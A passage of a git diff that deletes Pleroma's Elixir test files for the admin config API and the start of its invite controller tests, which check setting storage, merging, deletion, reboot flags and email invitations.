:key1) - Application.delete_env(:pleroma, :key2) - Application.delete_env(:pleroma, :key3) - Application.delete_env(:pleroma, :key4) - Application.delete_env(:pleroma, :keyaa1) - Application.delete_env(:pleroma, :keyaa2) - Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal) - Application.delete_env(:pleroma, Pleroma.Captcha.NotReal) - Application.put_env(:pleroma, :http, http) - Application.put_env(:tesla, :adapter, Tesla.Mock) - Restarter.Pleroma.refresh() - end) - end - - setup do: clear_config(:configurable_from_database, true) - - @tag capture_log: true - test "create new config setting in db", %{conn: conn} do - ueberauth = Application.get_env(:ueberauth, Ueberauth) - on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: "value1"}, - %{ - group: ":ueberauth", - key: "Ueberauth", - value: [%{"tuple" => [":consumer_secret", "aaaa"]}] - }, - %{ - group: ":pleroma", - key: ":key2", - value: %{ - ":nested_1" => "nested_value1", - ":nested_2" => [ - %{":nested_22" => "nested_value222"}, - %{":nested_33" => %{":nested_44" => "nested_444"}} - ] - } - }, - %{ - group: ":pleroma", - key: ":key3", - value: [ - %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, - %{"nested_4" => true} - ] - }, - %{ - group: ":pleroma", - key: ":key4", - value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"} - }, - %{ - group: ":idna", - key: ":key5", - value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]} - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => "value1", - "db" => [":key1"] - }, - %{ - "group" => ":ueberauth", - "key" => "Ueberauth", - "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}], - "db" => [":consumer_secret"] - }, - %{ - "group" => ":pleroma", - "key" => ":key2", - "value" => %{ - ":nested_1" => "nested_value1", - ":nested_2" => [ - %{":nested_22" => "nested_value222"}, - %{":nested_33" => %{":nested_44" => "nested_444"}} - ] - }, - "db" => [":key2"] - }, - %{ - "group" => ":pleroma", - "key" => ":key3", - "value" => [ - %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, - %{"nested_4" => true} - ], - "db" => [":key3"] - }, - %{ - "group" => ":pleroma", - "key" => ":key4", - "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"}, - "db" => [":key4"] - }, - %{ - "group" => ":idna", - "key" => ":key5", - "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}, - "db" => [":key5"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :key1) == "value1" - - assert Application.get_env(:pleroma, :key2) == %{ - nested_1: "nested_value1", - nested_2: [ - %{nested_22: "nested_value222"}, - %{nested_33: %{nested_44: "nested_444"}} - ] - } - - assert Application.get_env(:pleroma, :key3) == [ - %{"nested_3" => :nested_3, "nested_33" => "nested_33"}, - %{"nested_4" => true} - ] - - assert Application.get_env(:pleroma, :key4) == %{ - "endpoint" => "https://example.com", - nested_5: :upload - } - - assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []} - end - - test "save configs setting without explicit key", %{conn: conn} do - level = Application.get_env(:quack, :level) - meta = Application.get_env(:quack, :meta) - webhook_url = Application.get_env(:quack, :webhook_url) - - on_exit(fn -> - Application.put_env(:quack, :level, level) - Application.put_env(:quack, :meta, meta) - Application.put_env(:quack, :webhook_url, webhook_url) - end) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":quack", - key: ":level", - value: ":info" - }, - %{ - group: ":quack", - key: ":meta", - value: [":none"] - }, - %{ - group: ":quack", - key: ":webhook_url", - value: "https://hooks.slack.com/services/KEY" - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":quack", - "key" => ":level", - "value" => ":info", - "db" => [":level"] - }, - %{ - "group" => ":quack", - "key" => ":meta", - "value" => [":none"], - "db" => [":meta"] - }, - %{ - "group" => ":quack", - "key" => ":webhook_url", - "value" => "https://hooks.slack.com/services/KEY", - "db" => [":webhook_url"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:quack, :level) == :info - assert Application.get_env(:quack, :meta) == [:none] - assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY" - end - - test "saving config with partial update", %{conn: conn} do - insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2)) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key1", 1]}, - %{"tuple" => [":key2", 2]}, - %{"tuple" => [":key3", 3]} - ], - "db" => [":key1", ":key2", ":key3"] - } - ], - "need_reboot" => false - } - end - - test "saving config which need pleroma reboot", %{conn: conn} do - chat = Config.get(:chat) - on_exit(fn -> Config.put(:chat, chat) end) - - assert conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/config", - %{ - configs: [ - %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} - ] - } - ) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "db" => [":enabled"], - "group" => ":pleroma", - "key" => ":chat", - "value" => [%{"tuple" => [":enabled", true]}] - } - ], - "need_reboot" => true - } - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] - - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == - %{} - end) =~ "pleroma restarted" - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] == false - end - - test "update setting which need reboot, don't change reboot flag until reboot", %{conn: conn} do - chat = Config.get(:chat) - on_exit(fn -> Config.put(:chat, chat) end) - - assert conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/config", - %{ - configs: [ - %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} - ] - } - ) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "db" => [":enabled"], - "group" => ":pleroma", - "key" => ":chat", - "value" => [%{"tuple" => [":enabled", true]}] - } - ], - "need_reboot" => true - } - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} - ] - }) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key3", 3]} - ], - "db" => [":key3"] - } - ], - "need_reboot" => true - } - - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == - %{} - end) =~ "pleroma restarted" - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] == false - end - - test "saving config with nested merge", %{conn: conn} do - insert(:config, key: :key1, value: [key1: 1, key2: [k1: 1, k2: 2]]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":key1", - value: [ - %{"tuple" => [":key3", 3]}, - %{ - "tuple" => [ - ":key2", - [ - %{"tuple" => [":k2", 1]}, - %{"tuple" => [":k3", 3]} - ] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key1", 1]}, - %{"tuple" => [":key3", 3]}, - %{ - "tuple" => [ - ":key2", - [ - %{"tuple" => [":k1", 1]}, - %{"tuple" => [":k2", 1]}, - %{"tuple" => [":k3", 3]} - ] - ] - } - ], - "db" => [":key1", ":key3", ":key2"] - } - ], - "need_reboot" => false - } - end - - test "saving special atoms", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{ - "tuple" => [ - ":ssl_options", - [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{ - "tuple" => [ - ":ssl_options", - [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] - ] - } - ], - "db" => [":ssl_options"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :key1) == [ - ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]] - ] - end - - test "saving full setting if value is in full_key_update list", %{conn: conn} do - backends = Application.get_env(:logger, :backends) - on_exit(fn -> Application.put_env(:logger, :backends, backends) end) - - insert(:config, - group: :logger, - key: :backends, - value: [] - ) - - Pleroma.Config.TransferTask.load_and_update_env([], false) - - assert Application.get_env(:logger, :backends) == [] - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":logger", - key: ":backends", - value: [":console"] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":logger", - "key" => ":backends", - "value" => [ - ":console" - ], - "db" => [":backends"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:logger, :backends) == [ - :console - ] - end - - test "saving full setting if value is not keyword", %{conn: conn} do - insert(:config, - group: :tesla, - key: :adapter, - value: Tesla.Adapter.Hackey - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":tesla", key: ":adapter", value: "Tesla.Adapter.Httpc"} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":tesla", - "key" => ":adapter", - "value" => "Tesla.Adapter.Httpc", - "db" => [":adapter"] - } - ], - "need_reboot" => false - } - end - - test "update config setting & delete with fallback to default value", %{ - conn: conn, - admin: admin, - token: token - } do - ueberauth = Application.get_env(:ueberauth, Ueberauth) - insert(:config, key: :keyaa1) - insert(:config, key: :keyaa2) - - config3 = - insert(:config, - group: :ueberauth, - key: Ueberauth - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":keyaa1", value: "another_value"}, - %{group: ":pleroma", key: ":keyaa2", value: "another_value"} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":keyaa1", - "value" => "another_value", - "db" => [":keyaa1"] - }, - %{ - "group" => ":pleroma", - "key" => ":keyaa2", - "value" => "another_value", - "db" => [":keyaa2"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :keyaa1) == "another_value" - assert Application.get_env(:pleroma, :keyaa2) == "another_value" - assert Application.get_env(:ueberauth, Ueberauth) == config3.value - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":keyaa2", delete: true}, - %{ - group: ":ueberauth", - key: "Ueberauth", - delete: true - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [], - "need_reboot" => false - } - - assert Application.get_env(:ueberauth, Ueberauth) == ueberauth - refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2) - end - - test "common config example", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Captcha.NotReal", - "value" => [ - %{"tuple" => [":enabled", false]}, - %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, - %{"tuple" => [":seconds_valid", 60]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":key1", nil]}, - %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, - %{"tuple" => [":regex1", "~r/https:\/\/example.com/"]}, - %{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]}, - %{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]}, - %{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]}, - %{"tuple" => [":name", "Pleroma"]} - ] - } - ] - }) - - assert Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma" - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Captcha.NotReal", - "value" => [ - %{"tuple" => [":enabled", false]}, - %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, - %{"tuple" => [":seconds_valid", 60]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":key1", nil]}, - %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, - %{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]}, - %{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]}, - %{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]}, - %{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]}, - %{"tuple" => [":name", "Pleroma"]} - ], - "db" => [ - ":enabled", - ":method", - ":seconds_valid", - ":path", - ":key1", - ":partial_chain", - ":regex1", - ":regex2", - ":regex3", - ":regex4", - ":name" - ] - } - ], - "need_reboot" => false - } - end - - test "tuples with more than two values", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Web.Endpoint.NotReal", - "value" => [ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key2", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Web.Endpoint.NotReal", - "value" => [ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key2", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ], - "db" => [":http"] - } - ], - "need_reboot" => false - } - end - - test "settings with nesting map", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key2", "some_val"]}, - %{ - "tuple" => [ - ":key3", - %{ - ":max_options" => 20, - ":max_option_chars" => 200, - ":min_expiration" => 0, - ":max_expiration" => 31_536_000, - "nested" => %{ - ":max_options" => 20, - ":max_option_chars" => 200, - ":min_expiration" => 0, - ":max_expiration" => 31_536_000 - } - } - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key2", "some_val"]}, - %{ - "tuple" => [ - ":key3", - %{ - ":max_expiration" => 31_536_000, - ":max_option_chars" => 200, - ":max_options" => 20, - ":min_expiration" => 0, - "nested" => %{ - ":max_expiration" => 31_536_000, - ":max_option_chars" => 200, - ":max_options" => 20, - ":min_expiration" => 0 - } - } - ] - } - ], - "db" => [":key2", ":key3"] - } - ], - "need_reboot" => false - } - end - - test "value as map", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => %{"key" => "some_val"} - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => %{"key" => "some_val"}, - "db" => [":key1"] - } - ], - "need_reboot" => false - } - end - - test "queues key as atom", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":oban", - "key" => ":queues", - "value" => [ - %{"tuple" => [":federator_incoming", 50]}, - %{"tuple" => [":federator_outgoing", 50]}, - %{"tuple" => [":web_push", 50]}, - %{"tuple" => [":mailer", 10]}, - %{"tuple" => [":transmogrifier", 20]}, - %{"tuple" => [":scheduled_activities", 10]}, - %{"tuple" => [":background", 5]} - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":oban", - "key" => ":queues", - "value" => [ - %{"tuple" => [":federator_incoming", 50]}, - %{"tuple" => [":federator_outgoing", 50]}, - %{"tuple" => [":web_push", 50]}, - %{"tuple" => [":mailer", 10]}, - %{"tuple" => [":transmogrifier", 20]}, - %{"tuple" => [":scheduled_activities", 10]}, - %{"tuple" => [":background", 5]} - ], - "db" => [ - ":federator_incoming", - ":federator_outgoing", - ":web_push", - ":mailer", - ":transmogrifier", - ":scheduled_activities", - ":background" - ] - } - ], - "need_reboot" => false - } - end - - test "delete part of settings by atom subkeys", %{conn: conn} do - insert(:config, - key: :keyaa1, - value: [subkey1: "val1", subkey2: "val2", subkey3: "val3"] - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":keyaa1", - subkeys: [":subkey1", ":subkey3"], - delete: true - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":keyaa1", - "value" => [%{"tuple" => [":subkey2", "val2"]}], - "db" => [":subkey2"] - } - ], - "need_reboot" => false - } - end - - test "proxy tuple localhost", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} in value - assert ":proxy_url" in db - end - - test "proxy tuple domain", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} in value - assert ":proxy_url" in db - end - - test "proxy tuple ip", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} in value - assert ":proxy_url" in db - end - - @tag capture_log: true - test "doesn't set keys not in the whitelist", %{conn: conn} do - clear_config(:database_config_whitelist, [ - {:pleroma, :key1}, - {:pleroma, :key2}, - {:pleroma, Pleroma.Captcha.NotReal}, - {:not_real} - ]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: "value1"}, - %{group: ":pleroma", key: ":key2", value: "value2"}, - %{group: ":pleroma", key: ":key3", value: "value3"}, - %{group: ":pleroma", key: "Pleroma.Web.Endpoint.NotReal", value: "value4"}, - %{group: ":pleroma", key: "Pleroma.Captcha.NotReal", value: "value5"}, - %{group: ":not_real", key: ":anything", value: "value6"} - ] - }) - - assert Application.get_env(:pleroma, :key1) == "value1" - assert Application.get_env(:pleroma, :key2) == "value2" - assert Application.get_env(:pleroma, :key3) == nil - assert Application.get_env(:pleroma, Pleroma.Web.Endpoint.NotReal) == nil - assert Application.get_env(:pleroma, Pleroma.Captcha.NotReal) == "value5" - assert Application.get_env(:not_real, :anything) == "value6" - end - - test "args for Pleroma.Upload.Filter.Mogrify with custom tuples", %{conn: conn} do - clear_config(Pleroma.Upload.Filter.Mogrify) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: "Pleroma.Upload.Filter.Mogrify", - value: [ - %{"tuple" => [":args", ["auto-orient", "strip"]]} - ] - } - ] - }) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Upload.Filter.Mogrify", - "value" => [ - %{"tuple" => [":args", ["auto-orient", "strip"]]} - ], - "db" => [":args"] - } - ], - "need_reboot" => false - } - - assert Config.get(Pleroma.Upload.Filter.Mogrify) == [args: ["auto-orient", "strip"]] - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: "Pleroma.Upload.Filter.Mogrify", - value: [ - %{ - "tuple" => [ - ":args", - [ - "auto-orient", - "strip", - "{\"implode\", \"1\"}", - "{\"resize\", \"3840x1080>\"}" - ] - ] - } - ] - } - ] - }) - |> json_response(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Upload.Filter.Mogrify", - "value" => [ - %{ - "tuple" => [ - ":args", - [ - "auto-orient", - "strip", - "{\"implode\", \"1\"}", - "{\"resize\", \"3840x1080>\"}" - ] - ] - } - ], - "db" => [":args"] - } - ], - "need_reboot" => false - } - - assert Config.get(Pleroma.Upload.Filter.Mogrify) == [ - args: ["auto-orient", "strip", {"implode", "1"}, {"resize", "3840x1080>"}] - ] - end - - test "enables the welcome messages", %{conn: conn} do - clear_config([:welcome]) - - params = %{ - "group" => ":pleroma", - "key" => ":welcome", - "value" => [ - %{ - "tuple" => [ - ":direct_message", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":message", "Welcome to Pleroma!"]}, - %{"tuple" => [":sender_nickname", "pleroma"]} - ] - ] - }, - %{ - "tuple" => [ - ":chat_message", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":message", "Welcome to Pleroma!"]}, - %{"tuple" => [":sender_nickname", "pleroma"]} - ] - ] - }, - %{ - "tuple" => [ - ":email", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":sender", %{"tuple" => ["pleroma@dev.dev", "Pleroma"]}]}, - %{"tuple" => [":subject", "Welcome to <%= instance_name %>!"]}, - %{"tuple" => [":html", "Welcome to <%= instance_name %>!"]}, - %{"tuple" => [":text", "Welcome to <%= instance_name %>!"]} - ] - ] - } - ] - } - - refute Pleroma.User.WelcomeEmail.enabled?() - refute Pleroma.User.WelcomeMessage.enabled?() - refute Pleroma.User.WelcomeChatMessage.enabled?() - - res = - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{"configs" => [params]}) - |> json_response_and_validate_schema(200) - - assert Pleroma.User.WelcomeEmail.enabled?() - assert Pleroma.User.WelcomeMessage.enabled?() - assert Pleroma.User.WelcomeChatMessage.enabled?() - - assert res == %{ - "configs" => [ - %{ - "db" => [":direct_message", ":chat_message", ":email"], - "group" => ":pleroma", - "key" => ":welcome", - "value" => params["value"] - } - ], - "need_reboot" => false - } - end - end - - describe "GET /api/pleroma/admin/config/descriptions" do - test "structure", %{conn: conn} do - admin = insert(:user, is_admin: true) - - conn = - assign(conn, :user, admin) - |> get("/api/pleroma/admin/config/descriptions") - - assert [child | _others] = json_response_and_validate_schema(conn, 200) - - assert child["children"] - assert child["key"] - assert String.starts_with?(child["group"], ":") - assert child["description"] - end - - test "filters by database configuration whitelist", %{conn: conn} do - clear_config(:database_config_whitelist, [ - {:pleroma, :instance}, - {:pleroma, :activitypub}, - {:pleroma, Pleroma.Upload}, - {:esshd} - ]) - - admin = insert(:user, is_admin: true) - - conn = - assign(conn, :user, admin) - |> get("/api/pleroma/admin/config/descriptions") - - children = json_response_and_validate_schema(conn, 200) - - assert length(children) == 4 - - assert Enum.count(children, fn c -> c["group"] == ":pleroma" end) == 3 - - instance = Enum.find(children, fn c -> c["key"] == ":instance" end) - assert instance["children"] - - activitypub = Enum.find(children, fn c -> c["key"] == ":activitypub" end) - assert activitypub["children"] - - web_endpoint = Enum.find(children, fn c -> c["key"] == "Pleroma.Upload" end) - assert web_endpoint["children"] - - esshd = Enum.find(children, fn c -> c["group"] == ":esshd" end) - assert esshd["children"] - end - end -end diff --git a/test/web/admin_api/controllers/invite_controller_test.exs b/test/web/admin_api/controllers/invite_controller_test.exs deleted file mode 100644 index ab186c5e7..000000000 --- a/test/web/admin_api/controllers/invite_controller_test.exs +++ /dev/null @@ -1,281 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InviteControllerTest do - use Pleroma.Web.ConnCase, async: true - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Repo - alias Pleroma.UserInviteToken - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/users/email_invite, with valid config" do - setup do: clear_config([:instance, :registrations_open], false) - setup do: clear_config([:instance, :invites_enabled], true) - - test "sends invitation and returns 204", %{admin: admin, conn: conn} do - recipient_email = "foo@bar.com" - recipient_name = "J. D." - - conn = - conn - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: recipient_email, - name: recipient_name - }) - - assert json_response_and_validate_schema(conn, :no_content) - - token_record = List.last(Repo.all(Pleroma.UserInviteToken)) - assert token_record - refute token_record.used - - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - email = - Pleroma.Emails.UserEmail.user_invitation_email( - admin, - token_record, - recipient_email, - recipient_name - ) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {recipient_name, recipient_email}, - html_body: email.html_body - ) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response(conn, :forbidden) - end - - test "email with +", %{conn: conn, admin: admin} do - recipient_email = "foo+bar@baz.com" - - conn - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{email: recipient_email}) - |> json_response_and_validate_schema(:no_content) - - token_record = - Pleroma.UserInviteToken - |> Repo.all() - |> List.last() - - assert token_record - refute token_record.used - - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - email = - Pleroma.Emails.UserEmail.user_invitation_email( - admin, - token_record, - recipient_email - ) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: recipient_email, - html_body: email.html_body - ) - end - end - - describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do - setup do: clear_config([:instance, :registrations_open]) - setup do: clear_config([:instance, :invites_enabled]) - - test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn} do - Config.put([:instance, :registrations_open], false) - Config.put([:instance, :invites_enabled], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response_and_validate_schema(conn, :bad_request) == - %{ - "error" => - "To send invites you need to set the `invites_enabled` option to true." - } - end - - test "it returns 500 if `registrations_open` is enabled", %{conn: conn} do - 